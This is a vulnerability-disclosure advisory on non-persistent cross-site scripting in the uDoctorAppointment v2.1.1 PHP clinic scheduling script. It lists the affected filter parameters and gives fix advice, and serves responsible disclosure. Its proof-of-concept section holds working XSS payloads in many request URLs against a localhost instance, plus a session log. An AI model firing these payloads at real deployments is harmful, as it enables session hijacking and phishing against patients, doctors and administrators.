Document Title:
===============
uDoctorAppointment v2.1.1 - Multiple XSS Vulnerabilities
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2288
Release Date:
=============
2021-12-15
Vulnerability Laboratory ID (VL-ID):
====================================
2288
Common Vulnerability Scoring System:
====================================
5
Vulnerability Class:
====================
Cross Site Scripting - Non Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Clinic management, doctor or therapist online medical appointment scheduling
system for the management of health care.
uDoctorAppointment script allows doctors to register and appropriate membership
plan with different features.
Patients can view doctor profiles before booking appointments. The site
administrator or doctor may create and
manage advanced schedules, create working time slots for each day of the week,
define time off etc.
(Copy of the
Homepage:https://www.apphp.com/codemarket/items/1/udoctorappointment-php-script
)
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple
non-persistent cross site web vulnerabilities in the uDoctorAppointment script
web-application.
Affected Product(s):
====================
ApPHP
Product: uDoctorAppointment v2.1.1 - Health Care Script (PHP) (Web-Application)
Product: ApPHP MVC Framework v1.1.5 (Framework)
Vulnerability Disclosure Timeline:
==================================
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-09-10: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-12-15: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Pre Auth (No Privileges or Session)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Responsible Disclosure
Technical Details & Description:
================================
Multiple non-persistent cross site vulnerabilities has been discovered in the
official uDoctorAppointment v2.1.1 script web-application.
The vulnerability allows remote attackers to inject own malicious script codes
with non-persistent attack vector to compromise browser
to web-application requests from the client-side.
The cross site security web vulnerabilities are located in the `created_at`,
`created_date` and `sent_at` parameters of the `filter` web module.
The injection point is located in the parameters and the execution occurs in
the filter module. The request method to inject the malicious script
code is GET and the attack vector of the vulnerability is non-persistent on
client-side.
Successful exploitation of the vulnerability results in session hijacking,
non-persistent phishing attacks, non-persistent external redirects
to malicious source and non-persistent manipulation of affected application
modules.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] ./doctorReviews/doctorReviews
[+] ./orders/orders
[+] /mailingLog/manage
[+] /orders/doctorsManage
[+] /news/manage
[+] /newsSubscribers/manage
[+] /doctorReviews/manage/status/approved
[+] /appointments/manage
Vulnerable Parameter(s):
[+] created_at
[+] created_date
[+] sent_at
[+] appointment_date
Affected Module(s):
[+] Filter
Proof of Concept (PoC):
=======================
The client-side cross site scripting web vulnerabilities can be exploited by
remote attackers without account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability
follow the provided information and steps below to continue.
Exploitation: Payload
">%20<img%20src="evil.source"%20onload=alert(document.domain)></img>
Role: Patient (Frontend - created_at)
https://doctor-appointment.localhost:8080/doctorReviews/doctorReviews?patient_name=test&created_at=2021-09-08&but_filter=Filter
-
https://doctor-appointment.localhost:8080/doctorReviews/doctorReviews?patient_name=test&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter
Role: Doctor (Frontend - created_date)
https://doctor-appointment.localhost:8080/orders/orders?order_number=test&created_date=2021-09-08&status=2&but_filter=Filter
-
https://doctor-appointment.localhost:8080/orders/orders?order_number=test&created_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&status=2&but_filter=Filter
Role: Admin (Backend -
https://doctor-appointment.localhost:8080/mailingLog/manage?email_subject=test1&email_content=test2&email_from=test3&email_to=test4&sent_at=2021-09-01&status=0&but_filter=Filter
https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=2021-09-01&doctor_id=1&status=1&but_filter=Filter
https://doctor-appointment.localhost:8080/news/manage?news_header=test1&created_at=2021-09-01&but_filter=Filter
https://doctor-appointment.localhost:8080/newsSubscribers/manage?first_name=test1&last_name=test2&email=test%40aol.com&created_at=2021-09-01&but_filter=Filter
https://doctor-appointment.localhost:8080/doctorReviews/manage/status/approved?doctor_first_name%2Cdoctor_last_name=test1&patient_name=test2&created_at=2021-09-01&but_filter=Filter
https://doctor-appointment.localhost:8080/appointments/manage?appointment_number=test1&patient_first_name%2Cpatient_last_name=test2&doctor_first_name%2Cdoctor_last_name=test3&appointment_date=2021-09-01&but_filter=Filter
https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=2021-09-01&doctor_id=1&status=1&but_filter=Filter
-
https://doctor-appointment.localhost:8080/mailingLog/manage?email_subject=test1&email_content=test2&email_from=test3&email_to=test4&sent_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&status=0&but_filter=Filter
https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&doctor_id=1&status=1&but_filter=Filter
https://doctor-appointment.localhost:8080/news/manage?news_header=test1&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter
https://doctor-appointment.localhost:8080/newsSubscribers/manage?first_name=test1&last_name=test2&email=test%40aol.com&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter
https://doctor-appointment.localhost:8080/doctorReviews/manage/status/approved?doctor_first_name%2Cdoctor_last_name=test1&patient_name=test2&created_at=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter
https://doctor-appointment.localhost:8080/appointments/manage?appointment_number=test1&patient_first_name%2Cpatient_last_name=test2&doctor_first_name%2Cdoctor_last_name=test3&appointment_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&but_filter=Filter
https://doctor-appointment.localhost:8080/orders/doctorsManage?order_number=test1&created_date=%22%3E%3Ciframe%20src=a%20onload=alert(document.cookie)%3E&doctor_id=1&status=1&but_filter=Filter
Vulnerable Source: ./mailingLog
<div class="filtering-wrapper">
<form id="frmFilterMailingLog" action="mailingLog/manage" method="get">
Subject: <input id="email_subject" style="width:140px;" maxlength="125" type="text"
value="a" name="email_subject">
Content: <input id="email_content" style="width:140px;" maxlength="125" type="text"
value="b" name="email_content">
From: <input id="email_from" style="width:130px;" maxlength="125" type="text" value="c"
name="email_from">
To: <input id="email_to" style="width:130px;" maxlength="125" type="text" value="d"
name="email_to">
Date Sent: <input id="sent_at" maxlength="255" style="width:80px;"
type="text" value=">" <img="" src="evil.source" onload="alert(document.cookie)" [MALICIOUS
EXECUTABLE SCRIPT CODE PAYLOAD!] class="hasDatepicker">
<img class="ui-datepicker-trigger" src="assets/vendors/jquery/images/calendar.png" alt="..."
title="...">
" name="sent_at" />Status: <select id="status" style="width: 90px; padding: 10px; display: none;"
name="status" class="chosen-select-filter">
<option value="" selected="selected">--</option>
<option value="0">Not Sent</option>
<option value="1">Sent</option>
</select><div class="chosen-container chosen-container-single chosen-container-single-nosearch"
style="width: 90px;" title="" id="status_chosen">
<a class="chosen-single" tabindex="-1"><span>--</span><div><b></b></div></a><div
class="chosen-drop"><div class="chosen-search">
<input type="text" autocomplete="off" readonly="" maxlength="255"></div><ul
class="chosen-results"></ul></div></div>
<div class="buttons-wrapper">
<input name="" class="button white"
onclick="jQuery(location).attr('href','https://doctor-appointment.localhost:8080/mailingLog/manage');"
type="button" value="Cancel">
<input name="but_filter" type="submit" value="Filter">
</div></form></div>
--- PoC Session Logs (GET) ---
https://doctor-appointment.localhost:8080/mailingLog/manage?email_subject=a&email_content=b&email_from=c&email_to=d&sent_at=>"<img+src%3D"evil.source"+onload%3Dalert(document.cookie)>++&status=&but_filter=Filter
Host: doctor-appointment.localhost:8080
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
Cookie: isOpened=menu-04; apphp_9tmmw0krko=g2234alc8h8ks3ms2nsbp4tsa9
-
GET: HTTP/1.1 200 OK
Server: Apache
Content-Length: 2914
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Reference(s):
https://doctor-appointment.localhost:8080/
https://doctor-appointment.localhost:8080/mailingLog/
https://doctor-appointment.localhost:8080/news/manage
https://doctor-appointment.localhost:8080/order/manage
https://doctor-appointment.localhost:8080/mailingLog/manage
https://doctor-appointment.localhost:8080/appointments/manage
https://doctor-appointment.localhost:8080/orders/doctorsManage
https://doctor-appointment.localhost:8080/newsSubscribers/manage
Solution - Fix & Patch:
=======================
The vulnerability can be resolved by a filter or secure encode of the
vulnerable created_date, appointment_date, sent_at and create_at parameters.
Disallow the usage of special chars in the affected parameters on get method
requests.
Sansitize the vulnerable output location to resolve the point of execution in
the filter module.
Credits & Authors:
==================
Vulnerability-Lab [RESEARCH TEAM]
-https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
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=========================
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